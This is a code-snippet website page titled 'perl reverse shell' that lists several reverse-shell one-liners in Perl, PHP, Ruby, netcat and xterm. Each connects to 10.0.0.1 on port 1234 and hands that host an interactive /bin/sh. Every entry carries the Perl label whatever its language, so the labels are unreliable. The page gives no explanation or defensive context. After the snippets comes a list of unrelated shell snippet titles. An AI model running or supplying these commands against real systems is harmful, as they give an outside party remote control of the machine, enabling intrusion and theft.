Search
 
SCRIPT & CODE EXAMPLE
 

SHELL

perl reverse shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Comment

perl reverse shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Comment

perl reverse shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Comment

perl reverse shell

nc -e /bin/sh 10.0.0.1 1234
Comment

perl reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Comment

perl reverse shell

xterm -display 10.0.0.1:1
Comment

perl reverse shell

Xnest :1
Comment

perl reverse shell

xhost +targetip
Comment

PREVIOUS NEXT
Code Example
Shell :: how to install intellij on manjaro 
Shell :: git ubuntu store credential 
Shell :: install babel loader 
Shell :: bash filter environment variable results 
Shell :: change gunicor port and to https 
Shell :: ssh-keygen rsa 
Shell :: add all files in directory to git 
Shell :: making file executable linux 
Shell :: how to install yum on mac 
Shell :: python2 pip install 
Shell :: brew install eb cli 
Shell :: ubuntu bluetooth not listed 
Shell :: tar gz 
Shell :: check jdk version 
Shell :: how to push code to github forcefully 
Shell :: installing git on ec2 
Shell :: code . zsh command not found wsl 
Shell :: linux view environment variables 
Shell :: kill port mac 
Shell :: how to uninstall zsh on mac 
Shell :: install redis-cli only 
Shell :: clear mac dns cache 
Shell :: keep sudo on 
Shell :: kill python processes 
Shell :: npm install verbose 
Shell :: how to install onlyoffice on linux 
Shell :: install python3 raspberry pi 
Shell :: format partition to ext4 linux 
Shell :: grepper brazil 
Shell :: raspberrypi-ui-mods kept back 
ADD CONTENT
Topic
Content
Source link
Name
4+6 =